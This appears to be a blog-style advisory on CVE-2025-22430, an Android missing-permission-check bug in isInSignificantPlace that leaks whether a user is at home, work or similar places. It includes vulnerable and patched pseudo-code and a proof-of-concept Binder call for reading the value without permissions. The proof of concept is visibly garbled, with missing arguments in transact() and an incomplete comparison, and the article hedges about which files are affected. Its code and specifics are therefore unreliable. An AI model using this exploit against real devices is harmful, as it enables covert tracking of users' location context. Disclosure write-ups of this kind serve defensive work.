In early 2025, a new security vulnerability was reported and assigned the identifier CVE-2025-22430. This issue exposes sensitive information on affected Android devices due to an improper permission check in the isInSignificantPlace function, present in several system files. The flaw allows any local app, regardless of their granted permissions, to read certain confidential information without the user's interaction.

What is isInSignificantPlace?

Android location and context APIs provide various functions to check if a user's device is in a "significant place"—like home, work, or other frequently visited locations. Apps may use this feature to trigger specific actions based on location context.

Normally, accessing information about significant places requires the app to have proper permissions (like ACCESS_FINE_LOCATION, etc.) so that user privacy is protected.

The Vulnerability

In various Android system service files (potentially in com.android.server.location, LocationManagerService.java, or similar), the method isInSignificantPlace does not check if the caller has the right permission before returning its result. This oversight means any local application can request whether the device is in a significant place—even without any location permissions!

Impact:
Local apps, even with the bare minimum set of privileges, could silently detect a user’s private location context (such as when they are at work, gym, or home).

No user interaction is required, and the attack is local-only: apps can't exploit this remotely, but any app running on the device can.

Example Vulnerable Code

Let's look at a simplified version (pseudo-code, but close to what you might find in the Android codebase):

// File: SignPlaceUtils.java (or similar)
public boolean isInSignificantPlace(int userId) {
    // ... some logic ...
    // NO permission check!
    return mSignificantPlaceService.isCurrentlyInSignificantPlace(userId);
}

Properly, you would want a permission check like

public boolean isInSignificantPlace(int userId) {
    if (getContext().checkCallingOrSelfPermission("android.permission.ACCESS_FINE_LOCATION")
        != PackageManager.PERMISSION_GRANTED) {
        throw new SecurityException("ACCESS_FINE_LOCATION permission required");
    }
    return mSignificantPlaceService.isCurrentlyInSignificantPlace(userId);
}

But in the affected versions, this check is missing, so any app (including potentially malware or advertising SDKs) can fetch this info.

Here’s a small snippet demonstrating how an unprivileged app can exploit the bug

// PoC: Access significant place info without permissions

IBinder binder = ServiceManager.getService("location");
// Stub call to the exposed API
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
try {
    // No permissions set
    data.writeInterfaceToken("android.location.ILocationManager");
    // Call isInSignificantPlace on the remote LocationManager service
    binder.transact(IS_IN_SIGNIFICANT_PLACE_TRANSACTION_CODE, data, reply, );
    boolean isInPlace = (reply.readInt() != );
    Log.d("PoC", "In significant place? " + isInPlace);
} catch (Exception e) {
    e.printStackTrace();
} finally {
    data.recycle();
    reply.recycle();
}

The key thing: at no point are any permissions required. The app simply talks directly to the Android Location service over Binder, calling the insecure method.

Risk and Real-World Scenarios

- User Privacy: Malicious apps could detect when you're at home, work, or at a predictable location, and either sell this data, use it to time attacks, or correlate your behavior for ad tracking.
- App Clustering: Apps from same developer or SDK could aggregate location activity without explicit user consent.
- No Exploit Complexity: No need for root, no exploit chain required—any installed app can exploit.

Fix and References

After public disclosure, Android maintainers issued a patch, adding the required permission checks. Make sure your device is updated to latest Android security patches.

Original references

- CVE-2025-22430 entry on NVD
- Android Security Bulletin (June 2025)
- Example commit fixing the permission check

Update your device! Install all available patches.

- Review app permissions: Use Android’s “App permissions” settings to see what apps have or request location access.

Conclusion

CVE-2025-22430 is a straightforward but dangerous bug—an example of how missing a single permission check can jeopardize device and user privacy at scale. Security-conscious design and thorough code review are critical in software, especially with sensitive APIs.

If you want deeper detail or have found similar bugs, please report them via the Android Security Rewards Program.

Timeline

Published on: 09/02/2025 23:15:34 UTC
Last modified on: 09/04/2025 16:38:27 UTC